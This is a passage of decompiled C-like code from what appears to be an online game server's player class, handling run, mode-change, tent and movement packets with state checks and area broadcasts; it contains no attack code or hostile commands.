FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !(_S10_3 & 1) ) { _S10_3 |= 1u; cmc_18.cmc_AllowMode = 70; atexit(_E11_5); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_18.cmc_AllowMode) || *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) goto LABEL_8; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ : Invalid map", 0); LABEL_8: --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); return; } v5 = *(_DWORD *)((char *)v4 + 78); v6 = *(_DWORD *)v5; v7 = *(_DWORD *)(v5 + 4); ShineObjectClass::ShineObject::so_MoveTo(v4, *(_DWORD *)(netcmd + 10), *(_DWORD *)(netcmd + 14), 3); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8198; *((_WORD *)v8 + 1) = handle; *((_DWORD *)v8 + 1) = v6; *((_DWORD *)v8 + 2) = v7; v9 = *(_DWORD *)((char *)v4 + 78); *((_DWORD *)v8 + 3) = *(_DWORD *)v9; *((_DWORD *)v8 + 4) = *(_DWORD *)(v9 + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 20); v10 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v11, v10, 0, 0, (int)&alchat, 0, 65535); v12 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v12 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v12 + 2) = byte_124D2542; LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ"); } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043E3D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 signed int v5; // esi@1 unsigned __int8 v6; // al@6 int v7; // edx@8 void *v8; // edi@13 int v9; // edi@14 char *v10; // eax@15 int v11; // ST04_4@15 int v12; // eax@15 int v13; // edx@15 char *v14; // [sp+8h] [bp-2Ch]@5 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@15 int v16; // [sp+30h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !(_S12_19 & 1) ) { _S12_19 |= 1u; cmc_19.cmc_AllowMode = 6; atexit(_E13_14); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_19.cmc_AllowMode) ) goto LABEL_12; if ( !*(_DWORD *)((char *)v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Invalid map", 0); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v6 = *(_BYTE *)(netcmd + 2); v7 = v6 == 1 || v6 == 2; if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ : Try to set invalid mode", v6); LABEL_12: v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; goto LABEL_16; } **((_BYTE **)v4 + 929) = v6; v8 = (void *)(*(_DWORD *)((char *)v4 + 32010) + 29); if ( *((_BYTE *)v4 + 89071) ) { memcpy(v8, (char *)v4 + 89024, 0x2Cu); v9 = (int)((char *)v8 + 44); *(_WORD *)v9 = *((_WORD *)v4 + 44534); *(_BYTE *)(v9 + 2) = *((_BYTE *)v4 + 89070); *((_BYTE *)v4 + 89071) = 0; v5 = -1; } v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8201; *((_WORD *)v10 + 1) = handle; v10[4] = **((_BYTE **)v4 + 929); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v16) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 0, 65535); v13 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v13 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v13 + 2) = byte_124D2542; LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ"; LABEL_16: --funcallanalizer.fca_stackpoint; v16 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043E5C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@7 int v6; // ebp@9 int v7; // eax@9 int v8; // edx@10 int v9; // eax@11 int v10; // edx@12 char *v11; // eax@13 int v12; // ecx@13 int v13; // ecx@13 int v14; // eax@13 int v15; // eax@13 unsigned int v16; // eax@13 int v17; // edx@13 int v18; // eax@13 int v19; // [sp+2Ch] [bp-44h]@9 int v20; // [sp+30h] [bp-40h]@9 int v21; // [sp+34h] [bp-3Ch]@9 int v22; // [sp+38h] [bp-38h]@9 int v23; // [sp+3Ch] [bp-34h]@9 int v24; // [sp+40h] [bp-30h]@9 FunctionEntarance _; // [sp+54h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+58h] [bp-18h]@13 int v27; // [sp+6Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; if ( !(_S14_4 & 1) ) { _S14_4 |= 1u; cmc_20.cmc_AllowMode = 6; atexit(_E15_4); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_20.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2690); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ"); return; } if ( *((_BYTE *)v4 + 7368) & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2796))(v4) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2694); goto LABEL_17; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 157) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 40, 2692); goto LABEL_17; } v6 = *(_DWORD *)((char *)v4 + 78); v24 = 65535; v23 = 0; v19 = (int)ShineObjectClass::ShineObject::so_TentPoint; v20 = 0; v21 = 0; v22 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 400, 0, v19, v20, v21, v22, v23, v24) ) { v9 = *(_DWORD *)((char *)v4 + 32010) + 80; *(_WORD *)v9 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v9 + 2) = byte_124D2542; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); v24 = *(_DWORD *)((char *)v4 + 32010) + 29; *((_DWORD *)v4 + 22478) = ShineObjectClass::ShinePlayer::sp_RecoverPoint_House; BriefInfoBackup::bib_Backup((BriefInfoBackup *)((char *)v4 + 89024), (CHARBRIEFINFO_NOTCAMP *)v24); v24 = *(_DWORD *)((char *)v4 + 32010) + 29; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v24) ) { **((_BYTE **)v4 + 929) = 4; v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8233; *((_WORD *)v11 + 1) = handle; v12 = *(_DWORD *)((char *)v4 + 32010) + 29; v11 += 4; *(_DWORD *)v11 = *(_DWORD *)v12; *((_DWORD *)v11 + 1) = *(_DWORD *)(v12 + 4); v13 = *(_DWORD *)(v12 + 8); v24 = 16; *((_DWORD *)v11 + 2) = v13; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v24); v14 = *(_DWORD *)((char *)v4 + 78); v24 = 65535; v23 = 0; v22 = (int)&alchat; v21 = 0; v20 = 0; v19 = v14; LOBYTE(v27) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v15, v19, v20, v21, v22, v23, v24); v16 = clockwatch.cw_CurrTick; v17 = *(_DWORD *)v4; *((_DWORD *)v4 + 930) = clockwatch.cw_CurrTick; *((_DWORD *)v4 + 931) = v16; (*(void (__thiscall **)(void *))(v17 + 2732))(v4); v18 = *(_DWORD *)v4; v24 = 2689; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v18 + 776))(v4, 8, 40, 2689); LOBYTE(v27) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { v10 = *(_DWORD *)v4; v24 = 2693; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v10 + 776))(v4, 8, 40, 2693); v24 = *(_DWORD *)((char *)v4 + 32010) + 29; BriefInfoBackup::bib_Restore((BriefInfoBackup *)((char *)v4 + 89024), (CHARBRIEFINFO_NOTCAMP *)v24); } } else { v8 = *(_DWORD *)v4; v24 = 2691; v23 = 40; v22 = 8; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v8 + 776))(v4, 8, 40, 2691); } v27 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043E8D0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // ebp@1 int v6; // eax@3 void *v7; // edi@5 int v8; // edi@6 char *v9; // eax@7 int v10; // ST18_4@7 int v11; // ebx@7 int v12; // esi@7 int v13; // eax@7 int v14; // eax@8 int v15; // eax@8 int v16; // ST04_4@9 int v17; // eax@9 int v18; // eax@9 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@9 int v20; // [sp+3Ch] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S16_2 & 1) ) { _S16_2 |= 1u; cmc_21.cmc_AllowMode = 16; atexit(_E17_3); } v6 = *(_DWORD *)(v5 + 3716); if ( (1 << *(_BYTE *)v6) & cmc_21.cmc_AllowMode ) { *(_DWORD *)(v5 + 89912) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_BYTE *)v6 = 1; v7 = (void *)(*(_DWORD *)(v5 + 32010) + 29); if ( *(_BYTE *)(v5 + 89071) ) { memcpy(v7, (const void *)(v5 + 89024), 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *(_WORD *)(v5 + 89068); *(_BYTE *)(v8 + 2) = *(_BYTE *)(v5 + 89070); *(_BYTE *)(v5 + 89071) = 0; } v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v9 + 1) = handle; v10 = a2; v11 = (int)(v9 + 4); v12 = *(_DWORD *)(v5 + 32010) + 29; memcpy(v9 + 4, (const void *)v12, 0x2Cu); v12 += 44; *((_WORD *)v9 + 24) = *(_WORD *)v12; v9[50] = *(_BYTE *)(v12 + 2); v13 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1160))(v5, v10); if ( (((unsigned int)*(_BYTE *)v11 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 40))(v13) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v14 + 40))(v14); v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); *(_BYTE *)v11 ^= (*(_BYTE *)v11 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v15 + 40))(v15)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast((AxialListPacketBroadcast *)((char *)&alchat + 4), &gpp, 51); v16 = *(_DWORD *)(v5 + 78); v17 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v5, v17, v16, 0, 0, (int)&alchat.alpb_packet, 0, 65535); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43, 2689); v18 = *(_DWORD *)(v5 + 32010) + 80; *(_WORD *)v18 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v18 + 2) = byte_124D2542; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } else { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 8, 43, 2690); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ"); } } // 43E8D0: could not find valid save-restore pair for ebx // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043EB10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@10 int v6; // ebp@13 int v7; // edi@13 int v8; // eax@15 int v9; // ecx@15 bool v10; // zf@21 char *v11; // ecx@22 int v12; // eax@22 int v13; // ecx@22 int v14; // ecx@22 int v15; // ST14_4@22 int v16; // eax@22 int v17; // eax@22 FunctionEntarance _; // [sp+3Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+40h] [bp-18h]@22 int v20; // [sp+54h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S18_14 & 1) ) { _S18_14 |= 1u; cmc_22.cmc_AllowMode = 70; atexit(_E19_10); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_22.cmc_AllowMode && !(*(_BYTE *)(v4 + 7368) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2796))(v4) && (!*(_DWORD *)(v4 + 172) || *(_DWORD *)(v4 + 144) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Walk); if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 92164)) && !*(_BYTE *)(v4 + 92252) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2732))(v4); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66012)); } ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); v6 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1280))(v4); v7 = netcmd + 10; if ( (*(_DWORD *)(netcmd + 2) != *(_DWORD *)(netcmd + 10) || *(_DWORD *)(netcmd + 6) != *(_DWORD *)(netcmd + 14)) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, netcmd + 2) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, v7) && ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { v10 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), v7, 2) == 1; v8 = *(_DWORD *)v4; v9 = v4; if ( !v10 ) { (*(void (__thiscall **)(int, int, int, signed int, _DWORD))(v8 + 1560))(v4, v7, v6, 1, 0); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2700))(v4); v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8216; v12 = (int)(v11 + 2); *((_WORD *)v11 + 1) = *(_WORD *)(v4 + 4); v13 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v12 + 2) = *(_DWORD *)v13; *(_DWORD *)(v12 + 6) = *(_DWORD *)(v13 + 4); *(_DWORD *)(v12 + 10) = *(_DWORD *)v7; v14 = *(_DWORD *)(netcmd + 14); *(_BYTE *)(v12 + 20) &= 0xFEu; *(_DWORD *)(v12 + 14) = v14; *(_WORD *)(v12 + 18) = v6; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 24, v12); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v15 = *(_DWORD *)(v4 + 78); LOBYTE(v20) = 1; v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v16, v15, 0, 0, (int)&alchat, 0, 65535); v17 = *(_DWORD *)(v4 + 32010) + 80; *(_WORD *)v17 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v17 + 2) = byte_124D2542; LOBYTE(v20) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_17; } } else { v8 = *(_DWORD *)v4; v9 = v4; } (*(void (__thiscall **)(int))(v8 + 2832))(v9); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_17: v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD"); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043EE10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@13 int v6; // ebp@13 int v7; // edx@18 int v8; // ecx@18 char v9; // al@24 char *v10; // ecx@25 int v11; // eax@25 int v12; // ecx@25 int v13; // ecx@25 int v14; // ST14_4@25 int v15; // eax@25 int v16; // eax@25 FunctionEntarance _; // [sp+3Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+40h] [bp-18h]@25 int v19; // [sp+54h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; if ( !(_S20_3 & 1) ) { _S20_3 |= 1u; cmc_23.cmc_AllowMode = 70; atexit(_E21_3); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_23.cmc_AllowMode && !(*(_BYTE *)(v4 + 7368) & 4) && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2796))(v4) && (!*(_DWORD *)(v4 + 172) || *(_DWORD *)(v4 + 144) != 3) ) { if ( !*(_DWORD *)(v4 + 98) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ : Invalid map", 0); LABEL_10: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2164))(v4); if ( **(_BYTE **)(v4 + 3716) == 6 && *(_BYTE *)(v4 + 92156) ) goto LABEL_10; v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1304))(v4); List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Run); v6 = (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1284))(v4); if ( ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack((ShineObjectClass::ShinePlayer::TimeScheduler *)(v4 + 92164)) && !*(_BYTE *)(v4 + 92252) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2732))(v4); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_Clear((NormalAttackDamageDelay::NormalAttackDamageTick *)(v4 + 66012)); } ShineObjectClass::ShinePlayer::sp_SkillShiftCancel((void *)v4); if ( *(_DWORD *)(netcmd + 2) != *(_DWORD *)(netcmd + 10) || *(_DWORD *)(netcmd + 6) != *(_DWORD *)(netcmd + 14) ) { if ( !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(v4, netcmd + 2) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, netcmd + 10) || !ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(v4, *(_DWORD *)(v4 + 78)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2832))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); goto LABEL_20; } v9 = ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck((void *)v4, *(_DWORD *)(v4 + 78), netcmd + 10, 2); v7 = *(_DWORD *)v4; v8 = v4; if ( v9 != 1 ) { (*(void (__thiscall **)(int, int, int, signed int, _DWORD))(v7 + 1560))(v4, netcmd + 10, v6, 2, 0); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2700))(v4); v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8218; v11 = (int)(v10 + 2); *((_WORD *)v10 + 1) = *(_WORD *)(v4 + 4); v12 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v11 + 2) = *(_DWORD *)v12; *(_DWORD *)(v11 + 6) = *(_DWORD *)(v12 + 4); *(_DWORD *)(v11 + 10) = *(_DWORD *)(netcmd + 10); v13 = *(_DWORD *)(netcmd + 14); *(_BYTE *)(v11 + 20) &= 0xFEu; *(_DWORD *)(v11 + 14) = v13; *(_WORD *)(v11 + 18) = v6; ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v4, 26, v11); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v14 = *(_DWORD *)(v4 + 78); LOBYTE(v19) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v4, v15, v14, 0, 0, (int)&alchat, 0, 65535); v16 = *(_DWORD *)(v4 + 32010) + 80; *(_WORD *)v16 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v16 + 2) = byte_124D2542; LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_20; } } else { v7 = *(_DWORD *)v4; v8 = v4; } (*(void (__thiscall **)(int))(v7 + 2832))(v8); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2532))(v4); LABEL_20: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD"); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (0043F150) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8219; v3 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendMoveFail"); } //----- (0043F240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@3 int v6; // eax@6 DiceTaiSai *v7; // eax@11 DiceTaiSai *v8; // ebx@11 int v9; // eax@12 int v10; // eax@13 unsigned __int16 v11; // ax@13 char v12; // al@14 int v13; // eax@15 UseEffect::UIE_Functions *v14; // eax@16 ItemUseEffect *v15; // eax@17 int v16; // ebx@19 char v17; // al@25 int v18; // eax@26 char v19; // al@27 int v20; // eax@28 int v21; // ST10_4@29 int v22; // eax@29 int v23; // eax@33 FunctionEntarance _; // [sp+34h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+38h] [bp-18h]@29 int v26; // [sp+4Ch] 